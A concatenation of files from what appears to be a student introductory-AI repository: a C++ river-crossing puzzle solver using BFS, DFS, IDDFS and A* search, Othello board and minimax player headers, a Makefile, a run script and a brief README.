Board(const Board& other);
/**
* Destructor for the Board class
*/
~Board();
/**
* @param rhs The "right-hand side" for the assignment ie. the object
* you are copying from.
* @return Returns a reference to the "left-hand side" of the assignment ie.
* the object the values are assigned to
* Overloaded assignment operator for the Board class
*/
Board& operator=(const Board& rhs);
/**
* @return Returns the number of rows in the board
* An accessor that gets the number of rows in the board
*/
int get_num_rows() const { return num_rows; }
/**
* @return Returns the number of columns in the board
* An accessor to get the number of columns in the board
*/
int get_num_cols() const { return num_cols; }
/**
* @param col The column of the cell you want to retrieve
* @param row The row of the cell you want to retrieve
* @return Returns the character at the specified cell
* Returns the character at the specified column and row
*/
char get_cell(int col, int row) const;
/**
* @param col The column of the cell you want to set
* @param row The row of the cell you want to set
* @param val The value you want to set the cell to
* Sets the cell at the given row and column to the specified value
*/
void set_cell(int col, int row, char val);
/**
* @param col The column of the cell you are checking
* @param row The row of the cell you are checking
* @return true if the cell is empty and false otherwise
*/
bool is_cell_empty(int col, int row) const;
/**
* @param col The column value for the in-bounds check
* @param row The row value for the in-bounds check
* @return true if the column is >= 0 and < num_cols and if the row is >= 0 and < num_rows. Returns false otherwise.
*/
bool is_in_bounds(int col, int row) const;
/**
* Prints the board to screen. Should probably have overloaded >> but oh well.
*/
void display() const;
protected:
/** The number of rows in the board */
int num_rows;
/** The number of columns in the board */
int num_cols;
/** A 2D array of chars representing the board */
char** grid;
/**
* Deletes the 2D array.
*/
void delete_grid();
};
#endif
<file_sep>//#include <bits/stdc++.h>
#include<iostream>
#include<string>
#include<sstream>
#include<fstream>
#include<cstring>
#include<vector>
#include<unordered_map>
#include<queue>
#include<stack>
using namespace std;
typedef long long ll;
typedef pair<int,pair<int,string>> pipis;
const int M=2e5+5;
const int INF=2e9;
const int MOD=1e9+7;
struct myComp {
constexpr bool operator()( pair<int,pair<int,string>> const& a, pair<int,pair<int,string>> const& b)
const noexcept
{
return a.first > b.first;
}
};
void solution_path(unordered_map<string,string> &mp, vector<string> &path, string goal_node)
{
string current_node = goal_node;
while(current_node != "0"){
path.push_back(current_node);
current_node = mp[current_node];
}
}
void solution_path_iddfs_edit(unordered_map<string,pair<int,string>> &mp, vector<string> &path, string goal_node)
{
string current_node = goal_node;
while(current_node != "0"){
path.push_back(current_node);
current_node = mp[current_node].second;
}
}
void read_file(string input, vector<int> &v)
{
ifstream ifs(input);
if(ifs.fail()){
fprintf(stderr,"Invalid input file name\n");
exit(2);
}
char c;
for(int i = 0; i < 6; ++i){
ifs >> v[i];
if(i!=2){
ifs >> c;
}
}
ifs.close();
}
/*need to print out the number of search nodes expanded*/
void write_file(string output, int num_expanded, vector<string> path)
{
ofstream ofs(output);
if (!ofs) {
fprintf(stderr, "invalid output file\n");
exit(1);
}
int depth = path.size()-1;
for(int i = depth; i >= 0; --i){
ofs << "Node: " << path[i] << endl;
}
ofs << endl << "depth: " << depth << endl << "expanded node: " << num_expanded << endl;
ofs.close();
}
void display_result(int num_expanded, vector<string> path)
{
int depth = path.size()-1;
for(int i = depth; i >= 0; --i){
cout << "Node: " << path[i] << endl;
}
cout << endl << "depth: " << depth << endl << "expanded node: " << num_expanded << endl << endl;
}
void vector_to_string(vector<int> v, string &tmp)
{
tmp = to_string(v[0])+' '+to_string(v[1])+' '+to_string(v[2])+' '+to_string(v[3])+' '+to_string(v[4])+' '+to_string(v[5]);
}
vector<int> string_to_vector(const string &str, char sep)
{
vector<int> v;
stringstream ss(str);
string buffer;
while(getline(ss, buffer, sep) ) {
v.push_back(stoi(buffer));
}
return v;
}
/*
if (c>=w) or c might be 0
and c>=0 and w>=0
auto itr = mp.find("new path");
if( itr != mp.end() ) {
cout << "there is" << endl;
} else {
cout << "there is not" << endl;
}
*******************************************/
bool check_move(vector<int> &node)
{
if(node[0]>=0 and node[1]>=0 and node[3]>=0 and node[4]>=0){
if(node[0]>=node[1] and node[3]>=node[4]){
return true;
}else if(node[0]==0 or node[3]==0){
return true;
}
}
return false;
}
void expand_BFS(vector<int> ¤t_node, queue<string> &que, unordered_map<string, string> &mp)
{
vector<int> next_node(6);
string next_node_string, current_node_string;
vector_to_string(current_node,current_node_string);
int index1=0,index2=3;
/* check the boat possition */
/* boat is right side, we need to move index of 3,4*/
if(current_node[2] == 0){
index1=3;
index2=0;
}
/*c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
que.push(next_node_string);
mp[next_node_string] = current_node_string;
}
}
/*c2*/
next_node[index1]=current_node[index1]-2;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+2;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
que.push(next_node_string);
mp[next_node_string] = current_node_string;
}
}
/*w1*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
que.push(next_node_string);
mp[next_node_string] = current_node_string;
}
}
/*w1c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
que.push(next_node_string);
mp[next_node_string] = current_node_string;
}
}
/*w2*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-2;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+2;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
que.push(next_node_string);
mp[next_node_string] = current_node_string;
}
}
}
void expand_DFS(vector<int> ¤t_node, stack<string> &st, unordered_map<string, string> &mp)
{
vector<int> next_node(6);
string next_node_string,current_node_string;
vector_to_string(current_node,current_node_string);
int index1=0,index2=3;
/* check the boat possition */
/* boat is right side, we need to move index of 3,4*/
if(current_node[2] == 0){
index1=3;
index2=0;
}
/*c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(next_node_string);
mp[next_node_string] = current_node_string;
}
}
/*c2*/
next_node[index1]=current_node[index1]-2;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+2;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(next_node_string);
mp[next_node_string] = current_node_string;
}
}
/*w1*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(next_node_string);
mp[next_node_string] = current_node_string;
}
}
/*w1c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(next_node_string);
mp[next_node_string] = current_node_string;
}
}
/*w2*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-2;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+2;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(next_node_string);
mp[next_node_string] = current_node_string;
}
}
}
void expand_IDDFS(vector<int> ¤t_node, stack<pair<int,string>> &st, int depth, unordered_map<string, string> &mp)
{
vector<int> next_node(6);
string next_node_string,current_node_string;
vector_to_string(current_node,current_node_string);
int index1=0,index2=3;
/* check the boat possition */
/* boat is right side, we need to move index of 3,4*/
if(current_node[2] == 0){
index1=3;
index2=0;
}
/*c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*c2*/
next_node[index1]=current_node[index1]-2;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+2;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*w1*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*w1c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string] = current_node_string;
}
}
/*w2*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-2;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+2;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string] = current_node_string;
}
}
}
void expand_IDDFS_edited(vector<int> ¤t_node, stack<pair<int,string>> &st, int depth, unordered_map<string, pair<int,string>> &mp)
{
vector<int> next_node(6);
string next_node_string,current_node_string;
vector_to_string(current_node,current_node_string);
int index1=0,index2=3;
/* check the boat possition */
/* boat is right side, we need to move index of 3,4*/
if(current_node[2] == 0){
index1=3;
index2=0;
}
/*c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string] = pair<int,string>(depth+1,current_node_string);
}else{
if(mp[next_node_string].first > depth+1){
/*
int tmp_d = mp[next_node_string].first;
string tmp_s = mp[next_node_string].second;
st.push(pair<int,string>(tmp_d,next_node_string));
mp[next_node_string]=pair<int,string>(tmp_d,tmp_s);
*/
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string]=pair<int,string>(depth+1,current_node_string);
}
}
}
/*c2*/
next_node[index1]=current_node[index1]-2;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+2;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string] = pair<int,string>(depth+1,current_node_string);
}else{
if(mp[next_node_string].first > depth+1){
/*
int tmp_d = mp[next_node_string].first;
string tmp_s = mp[next_node_string].second;
st.push(pair<int,string>(tmp_d,next_node_string));
mp[next_node_string]=pair<int,string>(tmp_d,tmp_s);
*/
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string]=pair<int,string>(depth+1,current_node_string);
}
}
}
/*w1*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string] = pair<int,string>(depth+1,current_node_string);
}else{
if(mp[next_node_string].first > depth+1){
/*
int tmp_d = mp[next_node_string].first;
string tmp_s = mp[next_node_string].second;
st.push(pair<int,string>(tmp_d,next_node_string));
mp[next_node_string]=pair<int,string>(tmp_d,tmp_s);
*/
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string]=pair<int,string>(depth+1,current_node_string);
}
}
}
/*w1c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string] = pair<int,string>(depth+1,current_node_string);
}else{
if(mp[next_node_string].first > depth+1){
/*
int tmp_d = mp[next_node_string].first;
string tmp_s = mp[next_node_string].second;
st.push(pair<int,string>(tmp_d,next_node_string));
mp[next_node_string]=pair<int,string>(tmp_d,tmp_s);
*/
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string]=pair<int,string>(depth+1,current_node_string);
}
}
}
/*w2*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-2;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+2;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string] = pair<int,string>(depth+1,current_node_string);
}else{
if(mp[next_node_string].first > depth+1){
/*
int tmp_d = mp[next_node_string].first;
string tmp_s = mp[next_node_string].second;
st.push(pair<int,string>(tmp_d,next_node_string));
mp[next_node_string]=pair<int,string>(tmp_d,tmp_s);
*/
st.push(pair<int,string>(depth+1,next_node_string));
mp[next_node_string]=pair<int,string>(depth+1,current_node_string);
}
}
}
}
/* n+1 + h(n) */
int evaluation_astar(vector<int> ¤t_node, vector<int> &goal_node, int depth)
{
int h = abs(current_node[0]-goal_node[0]) + abs(current_node[1]-goal_node[1]);
//cout << "h: "<< h <<endl;
return h+depth+1;
}
void expand_astar(vector<int> ¤t_node, vector<int> &goal_node, priority_queue<pipis, vector<pipis>, myComp > &pq, int depth, unordered_map<string, string> &mp)
{
vector<int> next_node(6);
string next_node_string,current_node_string;
vector_to_string(current_node,current_node_string);
int cost;
int index1=0,index2=3;
/* check the boat possition */
/* boat is right side, we need to move index of 3,4*/
if(current_node[2] == 0){
index1=3;
index2=0;
}
/*c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
cost = evaluation_astar(next_node, goal_node, depth);
pq.push(pipis(cost,pair<int,string>(depth+1, next_node_string)));
mp[next_node_string] = current_node_string;
}
}
/*c2*/
next_node[index1]=current_node[index1]-2;
next_node[index1+1]=current_node[index1+1];
next_node[index2]=current_node[index2]+2;
next_node[index2+1]=current_node[index2+1];
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
cost = evaluation_astar(next_node, goal_node, depth);
pq.push(pipis(cost,pair<int,string>(depth+1, next_node_string)));
mp[next_node_string] = current_node_string;
}
}
/*w1*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
cost = evaluation_astar(next_node, goal_node, depth);
pq.push(pipis(cost,pair<int,string>(depth+1, next_node_string)));
mp[next_node_string] = current_node_string;
}
}
/*w1c1*/
next_node[index1]=current_node[index1]-1;
next_node[index1+1]=current_node[index1+1]-1;
next_node[index2]=current_node[index2]+1;
next_node[index2+1]=current_node[index2+1]+1;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
cost = evaluation_astar(next_node, goal_node, depth);
pq.push(pipis(cost,pair<int,string>(depth+1, next_node_string)));
mp[next_node_string] = current_node_string;
}
}
/*w2*/
next_node[index1]=current_node[index1];
next_node[index1+1]=current_node[index1+1]-2;
next_node[index2]=current_node[index2];
next_node[index2+1]=current_node[index2+1]+2;
next_node[2]=current_node[5];
next_node[5]=current_node[2];
if(check_move(next_node)){
vector_to_string(next_node, next_node_string);
auto itr = mp.find(next_node_string);
if( itr == mp.end() ) {
cost = evaluation_astar(next_node, goal_node, depth);
pq.push(pipis(cost,pair<int,string>(depth+1, next_node_string)));
mp[next_node_string] = current_node_string;
}
}
}
void solve_bfs(string i_s, string g_s, string output)
{
queue<string> que;
unordered_map<string, string> mp;
int num_explored = 0;
string current_state;
bool found = false;
vector<int> initial_state(6);
vector<int> goal_state(6);
read_file(i_s, initial_state);
read_file(g_s, goal_state);
string initial, goal;
vector_to_string(initial_state, initial);
vector_to_string(goal_state, goal);
/* push the initial_state into priority queue and hash table */
que.push(initial);
mp[initial] = "0";
/* loop do */
while(1){
/* if the frontier is empty, then return failure */
if(que.empty()){
found = false;
break;
}
/* choose a leaf node and remove it from the frontier */
current_state = que.front();
que.pop();
//cout << "path: " << current_state << endl;
/* if the node contains a goal state, then return the corresponding solution */
if(current_state == goal){
found = true;
break;
}
++num_explored;
/* expand the chosen node, adding the resulting nodes to the frontier
only if not in the frontier or explored set
****************************************************************************/
vector<int> tmp = string_to_vector(current_state, ' ');
expand_BFS(tmp,que,mp);
}
if(found){
vector<string> path;
solution_path(mp,path,goal);
display_result(num_explored,path);
write_file(output, num_explored, path);
}else{
ofstream ofs(output);
if (!ofs) {
fprintf(stderr, "invalid output file\n");
exit(1);
}
ofs << "no solution\n";
ofs.close();
}
}
void solve_dfs(string i_s, string g_s, string output)
{
stack<string> st;
unordered_map<string, string> mp;
int num_explored = 0;
string current_state;
bool found = false;
vector<int> initial_state(6);
vector<int> goal_state(6);
read_file(i_s, initial_state);
read_file(g_s, goal_state);
string initial, goal;
vector_to_string(initial_state, initial);
vector_to_string(goal_state, goal);
/* push the initial_state into priority queue and hash table */
st.push(initial);
mp[initial] = "0";
/* loop do */
while(1){
/* if the frontier is empty, then return failure */
if(st.empty()){
found = false;
break;
}
/* choose a leaf node and remove it from the frontier */
current_state = st.top();
st.pop();
//cout << "path: " << current_state << endl;
/* if the node contains a goal state, then return the corresponding solution */
if(current_state == goal){
found = true;
break;
}
++num_explored;
/* expand the chosen node, adding the resulting nodes to the frontier
only if not in the frontier or explored set
****************************************************************************/
vector<int> tmp = string_to_vector(current_state, ' ');
expand_DFS(tmp,st,mp);
}
if(found){
vector<string> path;
solution_path(mp,path,goal);
display_result(num_explored,path);
write_file(output, num_explored, path);
}else{
ofstream ofs(output);
if (!ofs) {
fprintf(stderr, "invalid output file\n");
exit(1);
}
ofs << "no solution\n";
ofs.close();
}
}
void solve_iddfs(string i_s, string g_s, string output)
{
unordered_map<string, string> mp;
int num_explored = 0, current_depth;
bool found = false;
bool no_solution = false;
string current_state;
vector<int> initial_state(6);
vector<int> goal_state(6);
read_file(i_s, initial_state);
read_file(g_s, goal_state);
string initial, goal;
vector_to_string(initial_state, initial);
vector_to_string(goal_state, goal);
/* loop until find or no_solution == true */
for(int limit = 0; ;++limit){
stack<pair<int,string>> st;
if(found or no_solution){
break;
}
mp.clear();
//cout << "-------------limit:"<<limit<<endl;
int max_depth = 0;
/* push the initial_state into priority queue and hash table */
st.push(pair<int,string>(0,initial));
mp[initial] = "0";
/* loop do */
while(1){
/* if the frontier is empty, then return failure */
if(st.empty()){
if(limit > max_depth)
no_solution = true;
break;
}
/* choose a leaf node and remove it from the frontier */
current_state = st.top().second;
current_depth = st.top().first;
st.pop();
max_depth=max(max_depth,current_depth);
/*
cout << "path: " << current_state << endl;
cout << "depth: " << current_depth << endl;
*/
/* if the node contains a goal state, then return the corresponding solution */
if(current_state == goal){
found = true;
break;
}
++num_explored;
/* expand the chosen node, adding the resulting nodes to the frontier
only if not in the frontier or explored set
****************************************************************************/
vector<int> tmp = string_to_vector(current_state, ' ');
if(limit >= current_depth+1){
expand_IDDFS(tmp,st,current_depth,mp);
}
}
}
if(found){
vector<string> path;
solution_path(mp,path,goal);
display_result(num_explored,path);
write_file(output, num_explored, path);
}else{
ofstream ofs(output);
if (!ofs) {
fprintf(stderr, "invalid output file\n");
exit(1);
}
ofs << "no solution\n";
ofs.close();
}
}
void solve_iddfs_edited(string i_s, string g_s, string output)
{
unordered_map<string, pair<int,string>> mp;
int num_explored = 0, current_depth;
bool found = false;
bool no_solution = false;
string current_state;
vector<int> initial_state(6);
vector<int> goal_state(6);
read_file(i_s, initial_state);
read_file(g_s, goal_state);
string initial, goal;
vector_to_string(initial_state, initial);
vector_to_string(goal_state, goal);
/* loop until find or no_solution == true */
for(int limit = 0; ;++limit){
stack<pair<int,string>> st;
if(found or no_solution){
break;
}
mp.clear();
//cout << "-------------limit:"<<limit<<endl;
fflush(stdout);
int max_depth = 0;
/* push the initial_state into priority queue and hash table */
st.push(pair<int,string>(0,initial));
mp[initial] = pair<int,string>(0,"0");
/* loop do */
while(1){
/* if the frontier is empty, then return failure */
if(st.empty()){
if(limit > max_depth)
no_solution = true;
break;
}
/* choose a leaf node and remove it from the frontier */
current_state = st.top().second;
current_depth = st.top().first;
st.pop();
max_depth=max(max_depth,current_depth);
/*
cout << "path: " << current_state << endl;
cout << "depth: " << current_depth << endl;
*/
/* if the node contains a goal state, then return the corresponding solution */
if(current_state == goal){
found = true;
break;
}
++num_explored;
/* expand the chosen node, adding the resulting nodes to the frontier
only if not in the frontier or explored set
****************************************************************************/
vector<int> tmp = string_to_vector(current_state, ' ');
if(limit >= current_depth+1){
expand_IDDFS_edited(tmp,st,current_depth,mp);
}
}
}
if(found){
vector<string> path;
solution_path_iddfs_edit(mp,path,goal);
display_result(num_explored,path);
write_file(output, num_explored, path);
}else{
ofstream ofs(output);
if (!ofs) {
fprintf(stderr, "invalid output file\n");
exit(1);
}
ofs << "no solution\n";
ofs.close();
}
}
/*
f(n)= g(n) + h(n)
g(n) = depth;
h(n) is difference
h(n) is increasing
h(n) is decreasing
*/
void solve_astar(string i_s, string g_s, string output)
{
/* cost, depth, node */
priority_queue<pipis, vector<pipis>, myComp > pq;
unordered_map<string, string> mp;
int num_explored = 0, current_depth, current_cost;
string current_state;
bool found = false;
vector<int> initial_state(6);
vector<int> goal_state(6);
read_file(i_s, initial_state);
read_file(g_s, goal_state);
string initial, goal;
vector_to_string(initial_state, initial);
vector_to_string(goal_state, goal);
/* push the initial_state into priority queue and hash table */
pq.push(pipis(0,pair<int,string>(0,initial)));
mp[initial] = "0";
/* loop do */
while(1){
/* if the frontier is empty, then return failure */
if(pq.empty()){
found = false;
break;
}
/* choose a leaf node and remove it from the frontier */
current_state = pq.top().second.second;
current_depth = pq.top().second.first;
current_cost = pq.top().first;
pq.pop();
/*
cout << "path: " << current_state << endl;
cout << "depth: " << current_depth<<endl;
cout << "cost: " << current_cost << endl<<endl;
*/
/* if the node contains a goal state, then return the corresponding solution */
if(current_state == goal){
found = true;
break;
}
++num_explored;
/* expand the chosen node, adding the resulting nodes to the frontier
only if not in the frontier or explored set
****************************************************************************/
vector<int> tmp = string_to_vector(current_state, ' ');
expand_astar(tmp,goal_state,pq,current_depth,mp);
}
if(found){
vector<string> path;
solution_path(mp,path,goal);
display_result(num_explored,path);
write_file(output, num_explored, path);
}else{
ofstream ofs(output);
if (!ofs) {
fprintf(stderr, "invalid output file\n");
exit(1);
}
ofs << "no solution\n";
ofs.close();
}
}
/*
< initial state file > < goal state file > < mode > < output file >
*/
int main(int argc, char *argv[])
{
if(argc < 5){
fprintf(stderr,"Example usage: ./main <initial state file> <goal state file> <mode> <output file> \n");
return EXIT_FAILURE;
}
if(strcmp(argv[3], "bfs") == 0){
solve_bfs(argv[1], argv[2], argv[4]);
}else if(strcmp(argv[3], "dfs") == 0){
solve_dfs(argv[1], argv[2], argv[4]);
}else if(strcmp(argv[3], "iddfs") == 0){
solve_iddfs_edited(argv[1], argv[2], argv[4]);
}else if(strcmp(argv[3], "astar") == 0){
solve_astar(argv[1], argv[2], argv[4]);
}else if(strcmp(argv[3], "old_iddfs") == 0){
solve_iddfs(argv[1], argv[2], argv[4]);
}else{
fprintf(stderr, "invalid mode\n");
return EXIT_FAILURE;
}
return 0;
}
<file_sep>## Contact info
E-mail: <EMAIL></br>
Discord: satoru#2984
# IntroAI
Repository for learning algorithm for artificial interigence. Each file includes documentation to describe a program.
<details>
<summary>codes</summary>
Testcode files are created to debug codes. You do not need to check them out.
</details><file_sep>/*
* MinimaxPlayer.h
*
* Created on: Apr 17, 2015
* Author: wong
*/
#ifndef MINIMAXPLAYER_H
#define MINIMAXPLAYER_H
#include "OthelloBoard.h"
#include "Player.h"
#include <vector>
/**
* This class represents an AI player that uses the Minimax algorithm to play the game
* intelligently.
*/
class MinimaxPlayer : public Player {
public:
/**
* @param symb This is the symbol for the minimax player's pieces
*/
MinimaxPlayer(char symb);
/**
* Destructor
*/
virtual ~MinimaxPlayer();
/**
* @param b The board object for the current state of the board
* @param col Holds the return value for the column of the move
* @param row Holds the return value for the row of the move
*/
void get_move(OthelloBoard* b, int& col, int& row);
/**
* @return A copy of the MinimaxPlayer object
* This is a virtual copy constructor
*/
MinimaxPlayer* clone();
private:
};
#endif
<file_sep>CXX = g++
CXXFLAGS = -std=c++0x
SRCS = Board.cpp OthelloBoard.cpp Player.cpp HumanPlayer.cpp GameDriver.cpp MinimaxPlayer.cpp
HEADERS = Board.h OthelloBoard.h Player.h HumanPlayer.h GameDriver.h MinimaxPlayer.h
OBJS = Board.o OthelloBoard.o Player.o HumanPlayer.o GameDriver.o MinimaxPlayer.o
all: ${SRCS} ${HEADERS}
${CXX} ${CXXFLAGS} ${SRCS} -o othello
${OBJS}: ${SRCS}
${CXX} -c $(@:.o=.cpp)
clean:
rm -f *.o othello.c<file_sep>#!/bin/bash
./main start1.txt goal1.txt iddfs iddfs1.txt
./main start2.txt goal2.txt iddfs iddfs2.txt
./main start3.txt goal3.txt iddfs iddfs3.txt
<file_sep>//#include <bits/stdc++.h>
#include<iostream>
#include<string>
#include<sstream>
#include<fstream>
#include<cstring>
#include<vector>
#include<unordered_map>
#include<queue>
using namespace std;
#ifndef DEBUG
#define DEBUG true
#endif
#define All(obj) (obj).begin(),(obj).end()
#define REP(i,n) for(int i=0;i<(n);++i)
#define REPR(i,n) for(int i=0; i>=(n);--i)
#define FOR(i,b,n) for(int i=(b);i<(n);++i)
typedef long long ll;
typedef pair<int,string> pis;
const int M=2e5+5;
const int INF=2e9;
const int MOD=1e9+7;
struct myBFSComp {
constexpr bool operator()( pair<int, string> const& a, pair<int, string> const& b)
const noexcept
{
return a.first > b.first;
}
};
struct myDFSComp {
constexpr bool operator()( pair<int, string> const& a, pair<int, string> const& b)
const noexcept
{
return a.first <= b.first;
}
};
void read_file(string input, vector<int> &v)
{
ifstream ifs(input);
if(ifs.fail()){
fprintf(stderr,"Invalid input file name\n");
exit(2);
}
char c;
for(int i = 0; i < 6; ++i){
ifs >> v[i];
if(i!=2){
ifs >> c;
}
}
ifs.close();
}
/*need to print out the number of search nodes expanded*/
void write_file(string output, int num_node, bool solved)
{
ofstream ofs(output);
if(solved){
ofs << num_node;
}else{
ofs << "no solution found";
}
ofs.close();
}
void vector_to_string(vector<int> v, string &tmp)
{
